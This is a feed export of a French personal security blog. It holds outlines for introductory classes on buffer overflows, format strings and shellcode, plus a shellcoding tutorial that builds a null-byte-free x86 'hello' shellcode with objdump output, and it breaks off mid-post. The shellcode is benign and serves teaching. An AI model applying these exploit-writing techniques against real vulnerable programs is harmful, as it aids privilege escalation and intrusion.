<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-95905583546956770</id><updated>2012-02-16T11:34:21.920-08:00</updated><title type='text'>0xtceb's lab</title><subtitle type='html'>Sécurité informatique, inventions (surtout) tordues, et fun</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>47</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6303407192995588871</id><published>2012-01-24T09:35:00.000-08:00</published><updated>2012-01-30T01:47:11.532-08:00</updated><title type='text'>Pause du blog</title><content type='html'>M'étant récemment mis sur un projet de "grande" envergure à la fois personnelle et professionnelle (bon ok j’exagère peut être un peu ) je me suis absenté de la sphère du blogging et de la sécurité pour une petite période encore...Ça me déplaît autant à moi qu'à vous. Ayant un emploi du temps assez chargé en ce moment je ne peux plus me permettre de mettre à jour mon blog :/&lt;br /&gt;&lt;br /&gt;Pour vous faire une petite idée de ce sur quoi je travaille en ce moment,&lt;br /&gt;il s'agit d'un algorithme léger d'amélioration d'image (autre qu'un filtre de bell ou de lanczos qui restent pas mal mais souvent trop lents pour l'utilisation que je veux en faire) , qui pourrait être utilisé à l'upload sur des sites qui proposent d'afficher des photos, je suis aussi actuellement sur deux ou trois projets qui sont donc liés à cette idée ce qui génère une masse de travail(fun) supplémentaire dans mon boulot de barbus.&lt;br /&gt;&lt;br /&gt;J'ai aussi réuni une petite équipe pour bosser autour d'un concept (voir plus haut) qui pourra avoir le succès escompté : &amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;a href="http://jeremy-castan.fr/"&gt;Jeremy Castan&lt;/a&gt; , &lt;a href="http://www.romain-menard.fr/"&gt;Romain Menard&lt;/a&gt; et&amp;nbsp;&lt;a href="http://jdboutet.fr/"&gt;Jean Daniel Boutet&lt;/a&gt;&amp;nbsp; m'accompagneront donc dans cette petite expérience que je mettrais en ligne dans quelques mois, nous miserons sur un lancement du tonnerre de dieu !&lt;br /&gt;&lt;br /&gt;A très bientôt j'espère !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6303407192995588871?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6303407192995588871/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2012/01/pause-du-blog.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6303407192995588871'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6303407192995588871'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2012/01/pause-du-blog.html' title='Pause du blog'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-3658824856296236224</id><published>2011-11-20T13:59:00.000-08:00</published><updated>2011-11-20T13:59:58.920-08:00</updated><title type='text'>Cour d'introduction à la sécurité applicative 02</title><content type='html'>Bon ben apparemment le dernier petit cours s'est tellement bien déroulé que j'en fais un deuxième =)&lt;br /&gt;Au programme pour ce Lundi 20/11/2011 à 8h30 (ouais ça pique) :&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;Faille System&lt;/b&gt; (on la revoit, pour les nouveaux qui nous rejoignent)&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;Race condition&lt;/b&gt; (J'hésite un peu..)&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;Les shellcodes&lt;/b&gt;. (quelques notions d'assembleurs pourraient être fortement requises..Au pire cette partie durera plus longtemps)&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;Création d'un shellcode&lt;/b&gt; basique.(quelques notions d'assembleurs pourraient être fortement requises..Au pire cette partie durera plus longtemps)&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;BufferOverflow assisté &lt;/b&gt;(on la revoit, pour les nouveaux qui nous rejoignent)&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;BufferOverflow &lt;/b&gt;avec exécution de code malicieux.&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;FormatString assistée&lt;/b&gt;.&lt;br /&gt;&lt;br /&gt;-&lt;b&gt;FormatString &lt;/b&gt;avec exécution de code malicieux.&lt;br /&gt;&lt;br /&gt;Voila ! Bien entendu, n'oubliez pas les VM ;) a Lundi !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-3658824856296236224?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/3658824856296236224/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/11/cour-dintroduction-la-securite.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3658824856296236224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3658824856296236224'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/11/cour-dintroduction-la-securite.html' title='Cour d&apos;introduction à la sécurité applicative 02'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-4774264609924356753</id><published>2011-10-23T12:24:00.000-07:00</published><updated>2011-10-24T09:06:08.547-07:00</updated><title type='text'>Cour d'introduction à la sécurité applicative 01</title><content type='html'>Au programme pour demain :&lt;br /&gt;&lt;br /&gt;- Introduction à la sécurité informatique&lt;br /&gt;- Un peu de C&lt;br /&gt;- Premiers pas : La faille system, les races conditions, un buffer overflow assisté&lt;br /&gt;- Introduction au reverse engineering&lt;br /&gt;- Reverse d'une petite application&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Pour ceux qui sont intéressés faites le moi savoir par mail : akbal.luc@gmail.com&lt;br /&gt;Pré-requis : Une machine virtuelle qui tourne sur linux peut importe la distrib, tant que c'est du x86 !&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-4774264609924356753?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/4774264609924356753/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/10/cour-dintroduction-la-securite.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4774264609924356753'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/4774264609924356753'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/10/cour-dintroduction-la-securite.html' title='Cour d&apos;introduction à la sécurité applicative 01'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-6476210401528483230</id><published>2011-08-25T08:48:00.000-07:00</published><updated>2011-08-25T08:48:55.270-07:00</updated><title type='text'>Arduino robot</title><content type='html'>Depuis que j'ai rejoins la communauté de développeurs d'aldebaran-robotics j'ai eu envie ces derniers temps d'avoir mon petit robot a moi =)&lt;br /&gt;&lt;br /&gt;C'est pas vraiment ce que j'appellerais un projet, c'est plus une ébauche de ce que je suis capable de faire avec un tournevis, des servomoteurs, un peu de cable et une puce arduino ^^&lt;br /&gt;&lt;br /&gt;Je commence a acheter des composants le mois prochain et je prendrais des photos/vidéos des étapes ! Et pourquoi pas transformer tout ça en tuto !&lt;br /&gt;&lt;br /&gt;Remarquez : c'est impressionnant ce qu'on peut faire avec de la récup de nos jours ;)&lt;br /&gt;&lt;a href="http://letsmakerobots.com/node/28077?page=1"&gt;http://letsmakerobots.com/node/28077?page=1&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-6476210401528483230?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/6476210401528483230/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/08/arduino-robot.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6476210401528483230'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/6476210401528483230'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/08/arduino-robot.html' title='Arduino robot'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-3769409820291730661</id><published>2011-08-18T06:12:00.000-07:00</published><updated>2011-08-18T06:12:41.148-07:00</updated><title type='text'>Challenge Bordelais</title><content type='html'>J'ai très peu de temps en ce moment pour tenir a jour mon blog (un jour viendra où je pourrais m'y consacrer pleinement mais pour le moment c'est assez tendu...)&lt;br /&gt;&lt;br /&gt;J'avais participé il y a peu de temps à la ST'HACK une compétition de sécurité informatique bien bordelaise et je n'avais pas vraiment eu le temps de faire un article digne de ce nom, ni de writeUp sur les épreuves d'ailleurs...&lt;br /&gt;Voici donc un article made in IngeSup, nous étions l'équipe des pon3y ;)&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.ingesup.com/vie-etudiante/pages/succes-pour-la-sthack-a-bordeaux.html"&gt;Voici l'article&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-3769409820291730661?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/3769409820291730661/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/08/challenge-bordelais.html#comment-form' title='2 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3769409820291730661'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/3769409820291730661'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/08/challenge-bordelais.html' title='Challenge Bordelais'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-999356731330015814</id><published>2011-08-08T15:52:00.000-07:00</published><updated>2011-08-08T15:52:03.402-07:00</updated><title type='text'>Les histoires de Bernard</title><content type='html'>Un ami se lance dans le podcast =) j'ai décidé de lui faire un pt'it hommage en mettant le lien de son blog sur le mien... Comment ça c'est plus un outrage qu'un hommage ?&lt;br /&gt;&lt;br /&gt;&lt;a href="http://leshistoiresdebernard.blogspot.com/"&gt;Les histoires de Bernard &lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/95905583546956770-999356731330015814?l=0xtceblab.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://0xtceblab.blogspot.com/feeds/999356731330015814/comments/default' title='Publier les commentaires'/><link rel='replies' type='text/html' href='http://0xtceblab.blogspot.com/2011/08/les-histoires-de-bernard.html#comment-form' title='0 commentaires'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/999356731330015814'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/95905583546956770/posts/default/999356731330015814'/><link rel='alternate' type='text/html' href='http://0xtceblab.blogspot.com/2011/08/les-histoires-de-bernard.html' title='Les histoires de Bernard'/><author><name>Luc akbal</name><uri>http://www.blogger.com/profile/16178702906919570186</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://3.bp.blogspot.com/_sxVWI4EZg0o/TH9jOUvYc9I/AAAAAAAAACg/4ZPQ29Nqsgs/s1600-R/accueil.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-95905583546956770.post-7803188237450723081</id><published>2011-07-27T09:43:00.000-07:00</published><updated>2011-08-01T09:01:35.804-07:00</updated><title type='text'>Shellcoding</title><content type='html'>Je me suis intéressé récemment à la création de shellcodes,&lt;br /&gt;&lt;br /&gt;Un shellcode c'est une instruction en code machine confectionnée dans le but (en général) de se faire exécuter par un programme faillible dans le but de s'augmenter en privilèges, le challenge que ça représente tient en deux choses :&lt;br /&gt;&lt;br /&gt;-Éviter un code trop grand (qui ne laisse pas de place, lors de l'exploitation d'un buffer overflow classique à l'écrasement du pointeur d'instruction par une adresse de retour)&lt;br /&gt;&lt;br /&gt;-Le coder de manière a n'obtenir aucun null byte (\x00) puisqu'une fois exécuté ils sont interprétés comme une fin de chaîne.&lt;br /&gt;&lt;br /&gt;Exemple sous linux avec hello :&lt;br /&gt;On récupère en premier lieu le numéro du syscall qui correspond à WRITE() , cette fonction est en fait appelée nativement par des fonctions d'affichages plus connues comme puts ou printf, je me demande aussi si elles n'agissent pas comme des wrappers au final.&lt;br /&gt;Ici le numéro du syscall pour WRITE() est 4.&lt;br /&gt;Ensuite on va appeler EXIT() qui a pour numéro le 1.&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;main:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;xorl %eax,%eax&lt;/b&gt; &lt;br /&gt;&lt;b&gt;xorl %ebx,%ebx&lt;/b&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&lt;b&gt;xorl %ecx,%ecx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;xorl %edx,%edx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;movb $0x4,%al&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //syscall pour write&lt;/b&gt;&lt;br /&gt;&lt;b&gt;movb $0x1,%bl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //STDOUT notre console &lt;/b&gt;&lt;br /&gt;&lt;b&gt;call afficher&lt;/b&gt;&lt;br /&gt;&lt;b&gt;push $0x6f6c6c65&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Hello world en little endian&lt;/b&gt;&lt;br /&gt;&lt;b&gt;push $0x00000068&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;afficher:&lt;/b&gt;&lt;br /&gt;&lt;b&gt;popl %ecx&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //On fait remonter la chaîne&lt;/b&gt;&lt;br /&gt;&lt;b&gt;movb $0x5,%dl&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Nombre de caractères dans notre chaîne&lt;/b&gt;&lt;br /&gt;&lt;b&gt;int $0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; //Interruption, exécution du syscall&lt;/b&gt;&lt;br /&gt;&lt;b&gt;xorl %eax,%eax&lt;/b&gt;&lt;br /&gt;&lt;b&gt;movb $0x1,%al&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp; //syscall pour exit&lt;/b&gt;&lt;br /&gt;&lt;b&gt;xorl %ebx,%ebx&lt;/b&gt;&lt;br /&gt;&lt;b&gt;int $0x80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; //Interruption,exécution du syscall&lt;/b&gt;&lt;/blockquote&gt;Une fois compilé :&lt;br /&gt;&lt;br /&gt;xtceb@xtceb-VirtualBox:~$ ./helloworld&lt;br /&gt;hello&lt;br /&gt;&lt;br /&gt;Ce qui donne en code machine :&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;helloxtceb@xtceb-VirtualBox:~$ objdump -d helloworld&lt;br /&gt;helloworld:&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; file format elf32-i386&lt;br /&gt;&lt;br /&gt;Disassembly of section .text:&lt;br /&gt;&lt;br /&gt;08048054 &amp;lt;main&amp;gt;:&lt;br /&gt;&amp;nbsp;8048054:&amp;nbsp;&amp;nbsp; &amp;nbsp;31 c0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,%eax&lt;br /&gt;&amp;nbsp;8048056:&amp;nbsp;&amp;nbsp; &amp;nbsp;31 db&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx,%ebx&lt;br /&gt;&amp;nbsp;8048058:&amp;nbsp;&amp;nbsp; &amp;nbsp;31 c9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %ecx,%ecx&lt;br /&gt;&amp;nbsp;804805a:&amp;nbsp;&amp;nbsp; &amp;nbsp;31 d2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %edx,%edx&lt;br /&gt;&amp;nbsp;804805c:&amp;nbsp;&amp;nbsp; &amp;nbsp;b0 04&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x4,%al&lt;br /&gt;&amp;nbsp;804805e:&amp;nbsp;&amp;nbsp; &amp;nbsp;b3 01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x1,%bl&lt;br /&gt;&amp;nbsp;8048060:&amp;nbsp;&amp;nbsp; &amp;nbsp;e8 07 00 00 00&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;call&amp;nbsp;&amp;nbsp; 804806c &amp;lt;afficher&amp;gt;&lt;br /&gt;&amp;nbsp;8048065:&amp;nbsp;&amp;nbsp; &amp;nbsp;68 65 6c 6c 6f&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; $0x6f6c6c65&lt;br /&gt;&amp;nbsp;804806a:&amp;nbsp;&amp;nbsp; &amp;nbsp;6a 68&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;push&amp;nbsp;&amp;nbsp; $0x68&lt;br /&gt;&lt;br /&gt;0804806c &amp;lt;afficher&amp;gt;:&lt;br /&gt;&amp;nbsp;804806c:&amp;nbsp;&amp;nbsp; &amp;nbsp;59&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;pop&amp;nbsp;&amp;nbsp;&amp;nbsp; %ecx&lt;br /&gt;&amp;nbsp;804806d:&amp;nbsp;&amp;nbsp; &amp;nbsp;b2 05&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x5,%dl&lt;br /&gt;&amp;nbsp;804806f:&amp;nbsp;&amp;nbsp; &amp;nbsp;cd 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80&lt;br /&gt;&amp;nbsp;8048071:&amp;nbsp;&amp;nbsp; &amp;nbsp;31 c0&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %eax,%eax&lt;br /&gt;&amp;nbsp;8048073:&amp;nbsp;&amp;nbsp; &amp;nbsp;b0 01&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;mov&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x1,%al&lt;br /&gt;&amp;nbsp;8048075:&amp;nbsp;&amp;nbsp; &amp;nbsp;31 db&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;xor&amp;nbsp;&amp;nbsp;&amp;nbsp; %ebx,%ebx&lt;br /&gt;&amp;nbsp;8048077:&amp;nbsp;&amp;nbsp; &amp;nbsp;cd 80&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;&amp;nbsp;&amp;nbsp; &amp;nbsp;int&amp;nbsp;&amp;nbsp;&amp;nbsp; $0x80&lt;/b&gt;&lt;/blockquote&gt;Petit problème à l'appel de "afficher" on remarque que le call nous donne des zéros de terminaisons...&lt;br /&gt;Il va falloir trouver une autre façon de coder notre hello :&lt;br /&gt;&lt;br /&gt;&lt;blockquote&gt;&lt;b&gt;main:&lt;br /&gt;xorl %eax,%eax&lt;br /&gt;xorl %ebx,%ebx&lt;br /&gt;xorl %ecx,%ecx&lt;br /&gt;xorl %edx,%edx&lt;br /&gt;jmp message&lt;br /&gt;fin:&lt;br /&gt;movb $0x4,%al&lt;br /&gt;movb $0x1,%bl&lt;br /&gt;popl %ecx&lt;br /&gt;movb $0x5,%dl&lt;br /&gt;int $0x80&lt;br /&gt;xorl %eax,%eax&lt;br /&gt;movb $0x1,%al&lt;br /&gt;xorl %ebx,%ebx&lt;br /&gt;int $0x80&lt;br /&gt;message:&lt;br /&gt;call fin&lt;br /&gt;.string "hello"&lt;/b&gt;&lt;/blockquote&gt;&amp;nbsp;Avec objdump :&lt;br /&gt;&lt;br /&gt;&lt;br 